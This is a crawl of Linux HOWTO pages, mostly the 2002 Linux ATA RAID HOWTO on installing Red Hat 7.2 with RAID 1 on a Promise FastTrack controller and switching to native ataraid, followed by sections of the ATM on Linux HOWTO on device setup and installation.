RAID is not limited to expensive SCSI disks anymore as more and more motherboard manufacturers are introducing motherboards with onboard RAID support for inexpensive IDE disks, known as ATA RAID. Promise Technolgy and HighPoint are two companies that dominate this ATA RAID market. This HOWTO document explains how to install Linux on an Intel Pentium compatible computer with an ATA RAID Controller (onboard chip or seperate card), single or multiple processors and atleast two hard disks. Currently, this document covers installing RedHat Linux 7.2 with Promise FastTrack ATA RAID Controller only.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. New Versions
1.4. Credits
1.5. Feedback
1.6. Translations
2. Requirements
3. Prepare Promise Driver Floppy
4. Preparing RedHat 7.2 CDs
5. Installing Red Hat 7.2
6. Installing Native Linux RAID
7. Installing on an existing Linux system
7.1. Append Line
7.2. Determining the Append Line
7.3. Setting Up RAID 1
8. Upgrading Kernel
8.1. Promise Technology (ft) Driver with OS on RAID mirror
8.2. Promise Technology (ft) Driver with non-OS data on RAID mirror
8.3. Linux Native (ataraid) Driver with OS on RAID mirror
8.4. Linux Native (ataraid) Driver with non-OS data on RAID mirror
9. Disabling RAID feature on Promise FastTrack
9.1. Case 1: OS not using RAID
9.2. Case 2: OS is using RAID
10. Tips and Important Notes
11. For more information
A. How is this document generated
Next
Introduction


Installing Red Hat 7.2

Linux ATA RAID HOWTO
Prev Next

5. Installing Red Hat 7.2

Once you have created your CDs, you are ready to begin installing Red Hat 7.2 on your Linux system.

  1. Restart the computer and press Cntrl-F when you see FastTrack BIOS prompt on screen. This will take you into the Promise FastTrack BIOS.

  2. Inside this BIOS, choose "delete array," "define array," and "choose Mirror."

  3. Press Cntrl-Y to save.

  4. Choose »Create Only« and ESC to reboot. When it reboots, you should see that Promise FastTrack now has 1x2 RAID Mirror defined over your two hard disks connected to FastTrack controller.

  5. Insert your Red Hat 7.2, disk-1 into your CD-ROM and reboot.

  6. At the boot-prompt, type:

    linux noprobe

  7. Now, installation will begin. Choose »Add device« and scroll through the list of available drivers to see if Promise FastTrack is listed. If it is not listed, press F2 to load external driver from a floppy. Insert your Promise FastTrack driver floppy and hit "OK."

  8. Continue with installation. Choose only ext3 type partitions for now. You can make ext2 partions at the very end, if you really need them.

  9. When the system you to create Boot Floppy, insert a blank floppy disk. The Red Hat installation program will create a Boot Floppy disk.

    Note NOTE

    Please do not click on »Skip boot disk creation«. If you skip this step and do not create a Boot Floppy disk, you will be very sorry later.

  10. When the install asks you to choose Boot loader configuration, please choose »LILO only«. Do not choose »GRUB« as your boot loader.

    When the installation is finished, you will see »Congratulations« screen.

  11. Press Cntrl-ALT-F2 to switch to tty2.

  12. At the shell prompt, type:

    cd /mnt/sysimage/lib/modules/2.4.7-10/kernel/drivers/scsi

  13. Type ls and make sure the file ft.o exists. If not, you are going to need to manually install the module ft.o as follows:

    1. Make sure your Driver floppy is mounted. Go into the floppy and type

      mv module.cgz /tmp
cd /tmp
gzip -dc module.cgz | cpio -idumv

    2. Now, you will see a bunch of directories created under /tmp.

      cd /tmp/`uname -r`
cp ft.o /mnt/sysimage/lib/modules/`uname -r`/kernel/drivers/scsi

    3. At the shell prompt, type:

      less /mnt/sysimage/etc/lilo.conf

      Check to see that the lilo.conf looks good. Especially, it should have the initrd= line and the corresponding initrd.img file must exist in /mnt/sysimage/boot. If not, you are going to create it manually as follows:

      /mnt/sysimage/usr/sbin/chroot /mnt/sysimage /sbin/mkinitrd \
--preload jbd \
--preload ext3 \
--preload scsi_mod \
--with ft \
/boot/initrd.img 2.4.7-10

  14. Now, remove the floppy and the CD, and reboot. At this point, pray that your computer will boot without any problems.

  15. If it does not boot, insert your Boot Floppy and reboot and login; And then repair as follows:

    1. Make sure /boot/initrd.img exists. Make sure /lib/modules/2.4.7-10/kernel/drivers/scsi/ft.o exists (If not you have to manually fix these issues as explained above)

    2. Type: /sbin/lilo

    3. Now, remove floppy and reboot. Your machine should boot into your new machine now using Promise Driver.

  16. Type df -k and you should see your hard disks as /dev/sdaX instead of /dev/hdaX. This is because the Promise Driver is actually a special type of Software Emulation RAID, not exactly Hardware RAID. (Promise RAID works through a BIOS Hack).

If your machine is SMP, you will have to manually create initrdsmp.img, when you boot into Uniprocessor Kernel as shown below, and edit /etc/lilo.conf and then test to see you can boot into SMP system.

  1. When you boot your machine into 2.4.7-10 uniprocessor kernel, type the following to make initrdsmp.img to be used for 2.4.7-10smp kernel:

    /sbin/mkinitrd \
--preload jbd \
--preload ext3 \
--preload scsi_mod \
--with ft \
/boot/initrdsmp.img 2.4.7-10smp

    Note NOTE

    If you are tired of remembering the command to create initrd files, dowload my geninitrd script and keep it handy.

  2. Adjust your /etc/lilo.conf accordingly for 2.4.7-10smp (the SMP kernel section), type /sbin/lilo and reboot into the SMP kernel. Here is how /etc/lilo.conf should look like.

At this point, you have a working Red Hat 7.2 machine with SMP support, if applicable. If you are happy with the fact that you are running a fake Hardware RAID from Promise FastTrack using SCSI Emulation, then read no further.

Because Promise Driver is a SCSI emulation, it puts a lot of load on CPU(s). Read on if you want to enable true Linux native RAID and get rid of this Promise SCSI emulation.

Prev | Home | Next
Preparing RedHat 7.2 CDs |  | Installing Native Linux RAID


Introduction

Linux ATA RAID HOWTO
Prev Next

1. Introduction

The goal of this HOWTO document is to explain how to setup RAID 1 (mirroring) with the two hard disks and install bootable RedHat Linux Operating System on the mirror device. This document discusses both methods of achieving this goal: 1. Using Promise supplied driver 2. Using Linux native RAID. If you choose the first method (using Promise supplied driver), you must use the Kernel 2.4.7-10 that comes with RedHat 7.2 CD. If you choose the second method, you can upgrade the kernel to the latest kernel (2.4.18). This document does not discuss Striping or other disk configurations, although the author believes that this document might help setup those configurations. This document does not yet cover: 1. Installation using GRUB instead of LILO and 2. Installation with Latest development kernels (2.5.x).

First of all we need a bit of legalese. Recent development shows it is quite important.

1.1. Copyright Information

© 2002 Murty Rompalli

This document is copyrighted © 2002 Murty Rompalli and is distributed under the terms of the GNU Free Documentation License and additional terms described below.

This Linux HOWTO document may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating this Linux HOWTO document must be covered under this copyright notice. That is, you may not produce a derivative work from this HOWTO document and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at this address <linux-howto@metalab.unc.edu>.

In short, the author wishes to promote dissemination of this information through as many channels as possible but wish to retain copyright on this HOWTO document, and would like to be notified of any plans to redistribute this HOWTO document.

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author does not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3. New Versions

The newest version of this HOWTO will always be made available on my website http://www.murty.net/ataraid/, or you may contact me directly at <murty at solar . murty . net> to check if there is a newer version.

Currently, this document is available in the following formats:

  • HTML.

  • plain text.

  • Adobe PDF.

  • gzipped postscript (US letter format).

  • SGML source.

  • gzipped DVI file.

  • gzipped TeX (to be used with jadetex).

Note that paper sizes vary in the world, A4 and US letter differ significantly. You might also wish to consider using the universal format (8.27x11in; 210x279mm).

1.4. Credits

Your name here, if you contribute :)

Luc de Louw <luc at delouw.ch> corrected errors in my SGML source.

Joy Y Goodreau <joyg at us.ibm.com> corrected errors in my SGML source.

In this version I have the pleasure of acknowledging:

Alain Portal <alain.portal at free.fr>, Service Commun de Microscopie Electronique for proof-reading and correcting mistakes.

1.5. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and criticisms to the following email address : <murty at solar. murty . net>.

1.6. Translations

Please help International users who do not speak English. You are encouraged to translate this document to a foreign language. Please notify the author if you translated or would like to translate this document into a foreign language. The following translation efforts are already under way.

  • French Translation is coming soon. Thanks go to Alain Portal.

Prev | Home | Next
Linux ATA RAID HOWTO |  | Requirements


For more information

Linux ATA RAID HOWTO
Prev Next

11. For more information

For more information, please check the following resources

  • Quasi-Mini-HowTo at http://www.geocities.com/ender7007/

  • LhD Product Page at http://lhd.datapower.com/db/dispproduct.cgi?DISP?2751. You can also go to LhD Main Page and search for »Promise FastTrack«.

  • ATA RAID help document by RedHat, Inc. You can also join their ataraid mailing list, or atleast search the mailing list archive.

  • Promise Technology's support web site at http://support.promise.com. Also check out this page.

  • Promise FastTrack help for Linux Mandrake is available at http://www.magic-lamp.org.

Prev | Home | Next
Tips and Important Notes |  | How is this document generated


Installing Native Linux RAID

Linux ATA RAID HOWTO
Prev Next

6. Installing Native Linux RAID

The first step you want to take is to configure your networking and connect your computer to Internet, which is still running under Promise Driver SCSI emulation. Next you will install native Linux RAID.

  1. Go to www.kernel.org and download latest kernel 2.4.18.tar.gz.

  2. Configure your kernel:

    cd /usr/src/
tar xvzf linux-2.4.18.tar.gz
cd linux                 # cd to kernel source directory just created by tar
cp config.txt .config    #(See NOTE below to find out where to get config.txt)
make menuconfig

    Note NOTE

    You can download a working config.txt file HERE. You can, of course, modify this to suit your needs either directly in a text editor or by typing make menuconfig as explained above. It is easy to make mistakes if you are editing .config directly in vi or emacs. Therefore, it is recommended to use Menu Interface by typing make menuconfig.

  3. Enable all the following in the kernel statically (NOT as modules):

      ATA/IDE/MFM/RLL Support -->
    <*> ATA/IDE/MFM/RLL Support
    IDE/ATA/ATAPI Block Devices -->
        <*> Enhanced ATA/IDE/MFM/RLL disk/cdrom/tape/floppy support
        <*> Include IDE/ATA-2 Disk Support
        [*] Use multi-mode by default
        Include IDE/ATAPI CDROM support
        [*] Generic PCI IDE chipset support
            [*] Sharing PCI IDE interrupt support
            [*] Generic PCI Bus master DMA support
            [*] Use PCI DMA by default when available
            [*] Intel PIIXn chipset support
                [*] PIIXn tuning support
        [*] Promise PDC202{46|62|65|67|68} support
            [*] Special UDMA Feature
            [*] Special FastTrack Feature
        [*] VIA 82CXXX chipset support
        <*> Support for IDE RAID controllers
            <*> Support Promise Software RAID (fasttrack)

  4. After you have enabled static features as shown above, make any more changes that you would like to make to suit your environment.

  5. Save the kernel configuration. It is saved to .config in the current directory. Please back up this file. If you dont do so, you will regret it later. Copy .config file in a blank floppy or in /root

  6. Build and install the kernel like you normally do, by typing:

    make dep ; make clean ; make && make install
make modules && make modules_install

Look at /etc/lilo.conf to make sure new lines are added to boot your new kernel 2.4.18. Note that there should not be an initrd= line for this new kernel in /etc/lilo.conf. That is, our new kernel will boot itself without depending on a initrd.img unlike your current 2.4.7-10 kernel.

Now adjust /etc/lilo.conf as follows:

  1. Locate the root=/dev/sdaX line for the new kernel in /etc/lilo.conf. Change this to root=/dev/ataraid/d0pX where X is a number 1 through 16. Save your changes.

  2. Type:

    /sbin/lilo

  3. If you chose any ext2 partitions during installation, you should comment them out in /etc/fstab for now.(Best thing is: Forget ext2 in this whole process)

  4. Remove all floppies and CDs, and reboot by typing:

    sync;sync;reboot

  5. At the LILO prompt, type your new kernel lable corresponding to 2.4.18 Your computer should then boot into your new kernel.

  6. Login and type df -k to make sure you see /dev/ataraid/d0X entries instead of earlier /dev/sdaX entries.

    Note NOTE

    You may see some errors related to mounting swap device at the time of booting into new kernel. These are harmless. You should edit /etc/fstab to change any sdaX entries to ataraid/d0pX entries.

  7. Now, connect your computer to Internet and download lilo-22.tar.gz (the latest version of lilo program) from the Internet.

  8. Remove the existing lilo on your computer by typing: rpm -e --nodeps lilo

  9. Install new version of lilo as follows:

    tar xvzf lilo-22.tar.gz
cd lilo-22	# cd to lilo source directory just created by tar
./QuickInst.sh

  10. Say "Yes" to questions the system will ask you.

  11. Ignore any errors except if /sbin/lilo is not created.

  12. Adjust /etc/lilo.conf as follows:

    • Replace linear by lba32

    • Delete line "compact"

    • Change vga= line to vga=normal

    • Change boot=/dev/sda line to boot=/dev/ataraid/dN (where N is the partition number on which your root file system exists. Type df -k / to find out your root partition number).

    • Make sure that default=linux-2.4.18 (where linux-2.4.18 is the label given to boot your new kernel: 2.4.18)

  13. Save changes to the file and type: /sbin/lilo

  14. Reboot the system and cross your fingers.

Here is how the final /etc/lilo.conf should look like.

If everything comes up without any errors, time to celebrate!!

Prev | Home | Next
Installing Red Hat 7.2 |  | Installing on an existing Linux system


Prepare Promise Driver Floppy

Linux ATA RAID HOWTO
Prev Next

3. Prepare Promise Driver Floppy

  1. Download appropriate driver from one of the two sites below and save the driver on one of the blank floppies. You can do this on any computer connected to Internet.

    • Driver for Single Processor Machine

    • Driver for Multiple Processor Machine

  2. Insert the floppy with the driver tar ball into a working Linux computer and type:

    mount /dev/fd0 /mnt/floppy
cd /mnt/floppy
cp rhsmp-ft12014.tgz /tmp
tar xvzf /tmp/rhsmp-ft12014.tgz
cd /
umount /mnt/floppy

  3. Label the floppy »Promise FastTrack driver« and set it aside.

Prev | Home | Next
Requirements |  | Preparing RedHat 7.2 CDs


Preparing RedHat 7.2 CDs

Linux ATA RAID HOWTO
Prev Next

4. Preparing RedHat 7.2 CDs

Note | NOTE
 | If you already have Red Hat Linux 7.2 CDs 1 and 2, skip this step. Otherwise, read this step to learn how you can get them for free.

  1. Logon to a Windows computer that has a CD Writer drive installed and setup properly. Insert a blank CD-R into the CD Writer.

  2. Point your browser to the Red Hat Web site: ftp://ftp.redhat.com/pub/redhat/linux/7.2/en/iso/i386/.

  3. Browse and locate enigma-disc1.iso (the first disk of Red Hat 7.2), and save this file to your Windows desktop.

  4. Right-click on the iso image created on your desktop and choose "Record to CD" It will then write the iso image onto your CD-R and create disk-1.

  5. Repeat the procedure for the second iso file named enigma-disc2.iso on ftp.redhat.com/pub.

  6. Test to make sure your CD-Rs are indeed readable. If you click on »My Computer« and click on the CD Writer Drive icon, you should be able to browse the contents of the CD-R.

  7. Label the CD-Rs properly: RH 7.2 disk-1 and RH 7.2 disk-2

Prev | Home | Next
Prepare Promise Driver Floppy |  | Installing Red Hat 7.2


Requirements

Linux ATA RAID HOWTO
Prev Next

2. Requirements

This section lists what items are required before you start installing on your computer.

  • Two blank floppies, DOS formatted. On a working linux computer, you can type mkfs.msdos /dev/fd0

  • Red Hat Linux 7.2 CDs 1 and 2 (3 and 4 contain SRPMS and are not required)

  • Internet connection available

  • Your computer with working CD, floppy,10/100 ethernet card support

  • Patience

Prev | Home | Next
Introduction |  | Prepare Promise Driver Floppy


Tips and Important Notes

Linux ATA RAID HOWTO
Prev Next

10. Tips and Important Notes

  • Dont bother using KDE / GNOME or any other X window system to finish RAID installation as explained above. Use simple text terminal.

  • You can press Cntrl-ALT-Fj to switch to ttyj where j=1,2,..6

  • If you do start KDE/GNOME or any other X window system, it will run on tty7, which you can access by pressing Cntrl-ALT-F7

  • If you decide to use Promise supplied SCSI emulation driver for FastTrack RAID, note that you are stuck at the default kernel version 2.4.7-10. Because, no source code for FastTrack is available.

  • During RH 7.2 installation, choose ext3 and swap file types only.

  • When you remove Promise SCSI emulation and setup Native Linux RAID, linux lets you access the hard disks either by mirror name: d0 or individual disks themselves: hde2, hdg3 etc. It is very important that: YOU NEVER access the hard disks directly by their name, instead access the corresponding mirror partition. Example: Use /dev/ataraid/d0p3 instead of /dev/hde3 or /dev/hdg3

Prev | Home | Next
Disabling RAID feature on Promise FastTrack |  | For more information


Upgrading Kernel

Linux ATA RAID HOWTO
Prev Next

8. Upgrading Kernel

Read this section carefully before you plan to upgrade kernel on your Linux machine with Promise FastTrack RAID. Unless you are not using Promise FastTrack at all in any way, you need this information to avoid problems.

Always backup your data before kernel upgrade. Also backup /etc/fstab, /etc/lilo.conf, /boot/vmlinuz-currentversion and /boot/initrd.img (if you use initrd). When you upgrade your kernel, do not delete old kernel or its dependent files in /boot and do not delete the lines corresponding to it in /etc/lilo.conf. If you upgrade kernel to say 2.4.19, just create another kernel section in /etc/lilo.conf. For example, add the following lines to /etc/lilo.conf:

# Begin Code for booting my brand new kernel: 2.4.19

image=/boot/vmlinuz-2.4.19
    label=linux-new
    read-only
    root=/dev/ataraid/d0p12

# End Code for booting my brand new kernel: 2.4.19

Also, do not change default=linux line in /etc/lilo.conf unless and until you successfully can boot into your new kernel by typing linux-new at the boot: prompt (or highlighting linux-new in the menu, if you are using LILO in curses menu mode).

Now lets discuss the actual process of upgrading kernel in the following four cases:

  1. Promise Technology (ft) Driver with OS on RAID mirror

  2. Promise Technology (ft) Driver with non-OS data on RAID mirror

  3. Linux Native (ataraid) Driver with OS on RAID mirror

  4. Linux Native (ataraid) Driver with non-OS data on RAID mirror

OS stands for "Operating System" or more specifically Red Hat Linux Operating System in our case. When you install Linux on mirrored partitions such as /dev/ataraid/d0p1 (or /dev/sda1 when using Promise Technology proprietary driver), you are said to have your OS on RAID mirror. If your Linux machine has only the main partitions such as / and /boot on RAID, it is also called (a case of) OS on RAID.

Partitions created by user to make use of available free partitions such as /mydata1, /imp, /scratch are not part of Linux OS because Linux does not install any files into them by default when you install Linux or upgrade any standard Linux software package. Any data in such user partitions becomes user data or alternatively, non-OS data. It is a good idea to use only ext3 and swap file systems for OS partitions. For non-OS partitions, you can use other file systems such as ext2 and dos (if you have another operating system like Windows on the same Linux computer or if you just feel like you love dos so much). However, why do you want to use ext2 if you dont have to and you have a better choice of using ext3 for OS or non-OS partitions?

8.1. Promise Technology (ft) Driver with OS on RAID mirror

Currently, Promise Technology supports Red Hat 7.2 and earlier versions only. Red Hat 7.2 uses kernel 2.4.7-10 by default. Also note that, you have to use initrd.img (Initial RAM disk image) in /etc/lilo.conf, when you install Linux with Promise supplied driver. At the time of installation, Promise Driver scripts are supposed to automatically generate initrd file and configure /etc/lilo.conf for you. Unfortunately, this does not work properly and you may have to manually create initrd.img and configure /etc/lilo.conf yourself.

You are stuck with the default kernel 2.4.7-10 and you cannot and should not upgrade kernel either by compiling or by automatic update programs such as up2date or rpm utility. If you really really want to upgrade kernel then do so but do not use raid. You can add Append Line to the /etc/lilo.conf as explained in Section 7.2 and do not load ataraid module (or do not compile your new kernel with ataraid feature built-in). By doing this, you are upgrading kernel to new version and sacrificing RAID feature because you are using Promise Technology card as a simple IDE extension card.

If Promise Technology releases new version of their ft driver for 2.4.19 in future, you can then upgrade your kernel first to 2.4.19 (using up2date or rpm but not by manually compiling) and place their new version of ft.o file in /lib/modules/kernel-2.4.19. You will also have to put initrd-2.4.19 in /boot and append initrd= line to the new kernel section in /etc/lilo.conf. If your Linux machine uses Promise Technology driver, your OS is on RAID mirror and Promise Technology did not release any new versions for new kernel versions, please do not fool around with your current kernel. If you do fool around, remember that you can seriously damage your computer and not be able to boot or retrieve your data.

8.2. Promise Technology (ft) Driver with non-OS data on RAID mirror

Almost all of explanation in previous case (Promise Technology (ft) Driver with OS on RAID mirror) applies in this also, ofcourse you are now risking non-OS data instead of OS. That means, if your upgrade fails, you will be able to boot but not be able to see data in your RAID partitions. Additionally, you have the flexibility of loading and unloading Promise Proprietary driver (ft.o). However, this is not guaranteed to work smoothly because Promise Technology driver has a lot of issues.

Unless Promise Technology releases appropriate drivers for new kernel version, please do not attempt kernel upgrade in any method. You are stuck with 2.4.7-10 kernel. You may be required to add Append Line as discussed in Section 7.2 to boot your computer in some cases.

8.3. Linux Native (ataraid) Driver with OS on RAID mirror

You can upgrade kernel to any version above 2.4.18 by recompiling the kernel and not by any automatic upgrade method such as up2date or rpm utility. You need .config file from your previous kernel source directory (/usr/src/linux-2.4.18/.config). You did save your 2.4.18 .config file, did't you?

After you copy .config into /usr/src/linux-2.4.19 directory, you may make changes by typing make menuconfig but generally you do not need to make changes because you are upgrading only to 2.4.19 and your machine hardware did not change. But if you do make changes by typing make menuconfig, remember to save and also backup your modified .config file. Save the .config file safely in /root or on a floppy disk. Here are the steps:

  • Unzip new kernel in /usr/src and rename top directory to linux-2.4.19. So your new kernel source directory is /usr/src/linux-2.4.19.

  • cp /root/config.txt .config

  • make menuconfig (Make any required changes)

  • cp .config /root/config-2.4.19.txt (Back up config file in a safe place)

  • make dep ; make clean ; make && make install (Install new kernel)

  • make modules && make modules_install (Install new kernel modules)

  • Edit /etc/lilo.conf to add new lines to boot new kernel. Label the new kernel linux-new. Do not change default= line and do not delete lines corrosponding to current working kernel.

  • /sbin/lilo (Activate changes in /etc/lilo.conf)

  • /sbin/lilo -R linux-new (Tell LILO to treat linux-new as default boot kernel just for one time only)

  • sync;sync;reboot (Reboot and hope that it works. If it does not boot, power off and power on again. Then login and investigate why your new kernel did not boot.)

8.4. Linux Native (ataraid) Driver with non-OS data on RAID mirror

To upgrade kernel in this case, follow same procedure as explained in previous section (Linux Native (ataraid) Driver with OS on RAID mirror). If you experience problems, you may be required to add an additional line, Append Line, to your /etc/lilo.conf. To find out what your Append Line is, see Section 7.2.

Similar to previous case, do not attempt to upgrade kernel by any automatic method (up2date or rpm utility). Manually compile and your install your new kernel as explained in the previous section.

Prev | Home | Next
Installing on an existing Linux system |  | Disabling RAID feature on Promise FastTrack


Bibliography

References

[api] Linux ATM API, Werner Almesberger, http://linux-atm.sourceforge.net/API/ , July 1996.

[RFC1577] Classical IP and ARP over ATM (RFC1577), Mark Laubach, January 1994.

[lanev1] LAN Emulation Over ATM -- Version 1.0, ATM Forum, February 1996.

[lanev2] LAN Emulation Over ATM -- Version 2 -- LUNI Specification, ATM Forum, July 1997.

[mpoav1] Multi-Protocol Over ATM -- Version 1.0, ATM Forum, July 1997.

[bridge-howto] Bridging mini-Howto, Christopher Cole, http://www.linuxdoc.org/HOWTO/mini/Bridge.html , March, 2001.

[kiis] Implementation of LAN Emulation Over ATM in Linux, Marko Kiiskilä, ftp://sunsite.tut.fi/pub/Local/linux-atm/misc/ , October 1996.

Prev | Home
IP Over ATM |


Device Setup

ATM on Linux HOWTO
Prev Next

3. Device Setup

This section describes device-specific configuration operations, and general diagnostic procedures at the ATM or SONET level. Please see the adapter documentation for details on hardware installation and diagnosis.

3.1. ATM Over TCP Setup

If you have no real ATM hardware, you can still exercise the API by using the ATM over TCP ``driver''. It emulates ATM devices which are directly wired to remote devices (i.e. there is no VPI/VCI swapping).

To establish one (bidirectional) ``wire'', become root on both systems (or run both sides on the same system to create two connected ``interfaces'') and run the following command on one of them (let's call it ``a''):

# atmtcp virtual listen

Then, on the other system (``b''), run

# atmtcp virtual connect address_of_a

Both atmtcps will report on their progress and the kernel should display messages like:

Link 0: virtual interface 2
Link 1: incoming ATMTCP connection from 127.0.0.1

and

Link 0: virtual interface 3
Link 1: ATMTCP connection to localhost

on the two systems. Note that atmtcp keeps running and that interrupting it breaks the virtual wire.

Multiple ``wires'' can be attached to the same machine by specifying a port number (default is 2812). Note that no AAL processing is performed. It is therefore not possible to receive data using a different AAL (e.g. AAL0) than the one with which the data was sent.

3.2. ZN1221/ZN1225 Tuning

The ZeitNet ZN1221 and ZN1225 adapters use pre-allocated pools of free memory buffers for receiving. Whenever a VC with a certain maximum SDU size is opened for receiving, the corresponding pool is filled with free buffers by the device driver. The adapter removes buffers while it receives data. When the number of remaining buffers falls below a certain threshold, the device driver replenishes the pool again.

The lower and the upper limits for the number of free buffers, and the threshold for adapting to a new data offset (see below for details), can be set using the zntune program. Usage:

zntune [-l low_water] [-h high_water] [-t threshold] itf [pool]

The changes are applied to all pools if no pool number is specified. Pool 2 stores 64 bytes packets, pool 3 stores 128 bytes packets, etc. Pools 0 and 1 are currently unused.

The current settings and some usage statistics can be obtained by invoking zntune without specifying new parameters:

zntune [-z] itf [pool]

The ``Size'' column shows the buffer size in Bytes. The ``Ref'' column shows the number of open VCs using that pool. The ``Alarm'' column shows how many times the number of free buffers has fallen below the low-water mark since the counters were reset. Similarly, the ``Under'' column shows how many times an incoming PDU had to be discarded because the corresponding pool was empty.

The columns ``Offs'', ``NxOf'', ``Count'' and ``Thres'' show the alignment adaption status. ``Offs'' is the offset of user data the driver currently expects in incoming PDUs. For single-copy, receive buffers are aligned accordingly so that data is received at page boundaries. ``NxOf'' is the user data offset of the most recently received PDU, where the offset differs from the currently assumed offset. ``Count'' is the number of PDUs that have been received in sequence with an offset of ``NxOf''. Finally, ``Thres'' is the threshold value ``Count'' has to reach for ``NxOf'' to become the new current offset.

Use the -z option to reset the ``Alarm'' and ``Under'' counters.

3.3. Files in /proc/net/atm/

Some status information about the ATM subsystem can be obtained through files in /proc/net/atm/. The file /proc/net/atm/arp contains information specific to Classical IP over ATM, see section CLIP.

All active ATM devices are listed in /proc/net/atm/devices. For each device, the interface number, the type label, the end system identifier (ESI), and statistics are shown. The statistics correspond to the ones available via atmdiag.

Individual ATM devices may register entries of the form type:number (e.g. eni:0) which contain device-specific information.

The files /proc/net/atm/pvc and /proc/net/atm/svc list all PVC and SVC sockets. For both types of sockets, the interface, VPI and VCI numbers are shown. For PVCs, this is followed by the AAL and the traffic class and the selected PCR for the receive and the transmit direction. For SVCs, the SVC state and the address of the remote party are shown. SVCs with the interface number 999 are used for special control purposes as indicated in the ``State'' column.

Furthermore, /proc/net/atm/vc shows buffer sizes and additional internal information for all ATM sockets.

3.4. ATM Diagnostics

Various counters of the ATM device drivers can be queried with the atmdiag program. See the corresponding man page for details.

3.5. SONET Diagnostics

The SONET diagnostics tool can be used to monitor link performance and to simulate errors. In order to get current SONET statistics, run it with the ATM interface number as the argument, e.g.

% sonetdiag 0

The counters can be reset with the -z option:

# sonetdiag -z 0

The following network failures can be simulated:[1]

sbip

insert section errors (B1)

lbip

insert line errors (B2)

pbip

insert path errors (B3)

frame

force (RX) frame loss

los

insert loss of signal

lais

insert line alarm indication signal

pais

insert path alarm indication signal

hcs

insert header checksum errors

A failure is enabled by adding the corresponding keyword on the command line. The failure is cleared by prefixing the keyword with a minus sign, e.g.

a# sonetdiag -z 0 >/dev/null
b# sonetdiag -z 0 >/dev/null
a# sonetdiag 0 los
a# sonetdiag 0 -los
b# sonetdiag 0 | grep BIP
Section BIP errors:      56200
Line BIP errors:           342
Path BIP errors:           152
a# sonetdiag 0 | grep FEBE
Line FEBE:                 342
Path FEBE:                 152

If any diagnostic error insertions are active, their keywords are shown when sonetdiag is used to obtain statistics. Note that some error insertions may be automatically switched off by the hardware.

Notes

[1]

Some adapters may only support a subset of this.

Prev | Home | Next
Installation |  | Native ATM PVCs


ATM on Linux HOWTO

Paul B Schroeder

IBM Corporation

paulsch@us.ibm.com

ATM support for Linux is currently in pre-alpha stage. There is an experimental release, which supports raw ATM connections (PVCs and SVCs), IP over ATM, LAN emulation, MPOA, Arequipa, and some other goodies.

2001-10-18

Revision History
Revision 2.4.0 2001-10-18 Revised by: PBS
Converted from LaTeX to DocBook along with some other additions and changes.

This document describes how to install, setup, and configure the necessary drivers and tools to support ATM networking under Linux.

For the latest information, please check the ATM on Linux home page.

Table of Contents
1. Introduction
1.1. Acknowledgements and Thanks
1.2. Copyright
1.3. Mailing List
1.4. CVS Access
2. Installation
2.1. The Binary RPMs
2.2. The Source Tree
2.3. Kernel Configuration
2.4. Driver Messages
2.5. Memory Debugging
2.6. ATM Tools
2.7. Extra Packages
3. Device Setup
3.1. ATM Over TCP Setup
3.2. ZN1221/ZN1225 Tuning
3.3. Files in /proc/net/atm/
3.4. ATM Diagnostics
3.5. SONET Diagnostics
4. Native ATM PVCs
4.1. Traffic Tools
4.2. Direct Cell Access
5. Signaling
5.1. ATM Hosts File
5.2. ANS
5.3. Signaling Demon
5.4. ILMI Demon
5.5. Manual Address Configuration
5.6. Running Two ATM NICs Back-to-Back
5.7. Q.2931 Message Dumper
6. IP Over ATM
6.1. CLIP
6.2. LAN Emulation
6.3. MPOA
Bibliography
Next
Introduction


Installation

ATM on Linux HOWTO
Prev Next

2. Installation

In order to install this package, you'll need

  • the package itself from http://linux-atm.sourceforge.net/dist.php

  • the Linux kernel, version 2.4.x, e.g. from ftp://ftp.kernel.org/pub/linux/kernel/v2.4/

  • Perl, version 4 or 5

  • if you want memory debugging: MPR, e.g. from ftp://ibiblio.org/pub/Linux/devel/lang/c/

2.1. The Binary RPMs

If you do not wish to futz with extracting and building the source yourself, the ATM tools are also distributed in RPM format. The RPM can be installed as follows:

rpm -ivh linux-atm-x.x.x-x.rpm

2.2. The Source Tree

First, extract the ATM on Linux distribution:

tar xzvf linux-atm-x.x.x.tar.gz

When extracted the distribution will create the linux-atm-x.x.x/ directory with several sub-directories. The following sub-directories are of note:

doc/

Documentation (including this HOWTO) in SGML DocBook format

src/sigd/

UNI 3.0, UNI 3.1, and UNI 4.0 signaling demon: atmsigd

src/saal/

Signaling AAL library (SSCOP, SSCF, and SAAL)

src/qgen/

Q.2931-style message handling

src/ilmid/

ILMI address registration demon: ilmid

src/maint/

ATM maintenance programs: atmaddr, atmdiag, atmdump, atmloop, atmtcp, enitune, esi, sonetdiag, saaldump, and zntune

src/test/

Test programs: align, aping, aread, awrite, br, bw, isp, ttcp_atm, window

src/arpd/

ATMARP tools and demon: atmarp, atmarpd

src/led/

LAN Emulation demon: zeppelin

src/lane/

LAN Emulation servers: bus, lecs, les

src/mpoad/

Multi-Protocol Over ATM demon: mpcd

src/debug/

Debugging tools: delay, ed, encopy, endump, svctor, zndump, and znth

src/lib/

Libraries for applications and demons

src/man/

Miscellaneous man pages

src/extra/

Extra packages and RPM spec files.

src/config/

Configuration and rc file examples

src/switch/

Switch fabric control (under construction)

2.3. Kernel Configuration

Note | NOTE
 | If you are not familiar with building and installing a new kernel, please see the The Linux Kernel HOWTO

After unpacking the kernel distribution, do the usual make config, make menuconfig, or make xconfig in the top-level of your Linux kernel source tree. First, enable
Prompt for development and/or incomplete code/drivers
  (CONFIG_EXPERIMENTAL)
You should then be able to find the following options:
Asynchronous Transfer Mode (ATM, EXPERIMENTAL) (CONFIG_ATM)
